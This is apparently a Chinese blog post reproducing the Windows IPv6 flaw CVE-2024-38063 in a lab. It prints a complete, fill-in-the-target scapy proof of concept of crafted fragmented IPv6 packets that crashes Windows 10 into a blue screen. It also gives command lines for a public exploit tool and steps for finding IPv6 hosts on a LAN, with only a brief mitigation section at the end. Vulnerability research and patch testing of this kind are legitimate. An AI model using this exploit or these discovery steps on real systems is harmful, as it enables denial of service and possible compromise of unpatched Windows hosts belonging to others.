本文最后更新于 2024-09-28,文章内容可能已经过时。

Windows-IPV6_RCE(CVE-2024-38063)漏洞复现

一、漏洞情况分析

微软Windows系统近日曝出一个极其严重的安全漏洞,该漏洞被评为9.8分的高危等级,对全球数亿用户的电脑构成了巨大威胁。据国内知名安全公司赛博昆仑旗下的昆仑实验室披露,**该漏洞(编号CVE-2024-38063)存在于Windows的TCP/IP网络堆栈中,允许攻击者通过发送特制的IPv6数据包实现远程代码执行。**安全研究员Wei强调,鉴于漏洞的严重性,短期内不会公开具体细节,以防止恶意利用,同时指出仅在本地防火墙上阻止IPv6并不能完全防御此漏洞,因为攻击会在防火墙处理之前触发。

CVE-2024-38063是影响WindowsTCP/IP的严重RCE漏洞。它的CVSSv3评分为9.8,被评为“更有可能被利用”。攻击者可以通过向主机发送特制的IPv6数据包来远程利用此漏洞。微软的缓解建议为禁用IPv6,因为只有IPv6数据包才可以被滥用来利用此漏洞。微软已经为所有受支持的Windows和WindowsServer版本(包括ServerCore安装)发布了补丁。未经身份验证的攻击者可以向Windows计算机反复发送包含特制数据包的IPv6数据包,从而可以实现远程代码执行。

  • 参考:https ://www.malwaretech.com/2024/08/exploiting-CVE-2024-38063.html

二、漏洞影响范围

漏洞影响的产品和版本:

  • Windows 10
  • Windows 11
  • Windows Server 2016、2019 和 2022(包括服务器核心安装)

三、漏洞复现流程

有关漏洞原理的分析和代码调试请看如下文章:

https://blog.csdn.net/QYbudong/article/details/141905176

这里只做简单的漏洞复现不涉及原理部分和代码调试。

POC脚本:

python需要提前安装scapy

(根据需要填写iface和ip_addr的ipv6地址即可,mac_addr可以选填)

from scapy.all import *

iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20

def get_packets_with_mac(i):
    frag_id = 0xdebac1e + i
    first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

def get_packets(i):
    if mac_addr != '':
        return get_packets_with_mac(i)
    frag_id = 0xdebac1e + i
    first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

final_ps = []
for _ in range(num_batches):
    for i in range(num_tries):
        final_ps += get_packets(i) + get_packets(i)

print("Sending packets")
if mac_addr != '':
    sendp(final_ps, iface)
else:
    send(final_ps, iface)

for i in range(60):
    print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
    time.sleep(1)
print("")

利用工具:

https://github.com/ThemeHackers/CVE-2024-38063.git

image-20240928021636689

-h–帮助显示这帮助信息和退出

–ace ACE网络接口(s)用于发送的报文,逗号分割为多个。

–ipv6IPV6目的IP地址(可选择)。

–mac_addr MAC_ADDR目的MAC地址(可选择)。

–num_tries NUM_TRIES

数尝试的每一批。

–num_batches NUM_BATCHES

数量的批次的尝试

复现环境:

kali攻击机:(IP:192.168.91.129)

目标机器:win10 (IP:192.168.91.134)IPV6地址: fe80::ac13:276c:e4c2:459a%14

MAC地址 :00:0C:29:66:04:76

IPV6发现

linux自带的IPV6缓存记录命令:ip -6 neigh

(利用 Linux 的邻居发现缓存,快速查看所有已知的 IPv6 地址)

image-20240928111457647

ipv6发现脚本:(上面的脚本自带)

git clone https://github.com/cvmiller/v6disc

./v6disc.sh -i eth1 -L -D

指定eth1网卡,将ipv6和对应的ipv4显示出来

image-20240928021248342

./v6disc.sh -i eth1 -L -D -N

指定eth1网卡,将ipv6和对应的ipv4显示出来,同时附带NMAP扫描

image-20240928025622391

image-20240928125238781

IPV6地址: fe80::ac13:276c:e4c2:459a%14

MAC地址 :00:0C:29:66:04:76

漏洞利用

利用POC代码执行:

源代码填上对应信息,后执行poc代码。

image-20240928125406729

image-20240928125336299

等待下方倒计时结束,查看目标机器,成功蓝屏

image-20240928122146733

利用漏洞利用工具:

python CVE-2024-38063.py --iface eth0 --ipv6 fe80::ac13:276c:e4c2:459a%14 --mac_addr 00:0C:29:66:04:76 --num_tries 20 --num_batches 20

image-20240928123006215

可以指定ICMP和SYN泛洪攻击,这里选1,填写3次,发送报文后,按y发送蓝屏报文

image-20240928123128196

image-20240928123142081

等待倒计时结束,目标机器成功蓝屏

其他:

这里也可以不加后面的ipv6和mac地址,只填写对应的网卡,让工具去调用v6dishc.sh脚本扫描局域网内的ipv6地址。

python CVE-2024-38063.py --iface eth0

image-20240928123624127

分为高级扫描(调用nmap)和低级扫描(普通扫描)

image-20240928123739308

这里依次填入目标IPV6和MAC地址后,就可以进行利用了。后续流程一样。

image-20240928125000508

四、修复建议

  1. 临时关闭ipv6

右键自己的网络配置,直接把这个ipv6给关掉即可,后面在调用终端,执行【ipconfig】即可看到ipv6消失

image-20240928165201529

image-20240928165213351

  1. 将windows更新到最新版本

五、参考

微软官方通告:https://msrc.microsoft.com/update-guide/zh-cn/vulnerability/CVE-2024-38063

【漏洞剖析】CVE-2024-38063(Windows IPV6 远程执行代码漏洞):https://blog.csdn.net/QYbudong/article/details/141905176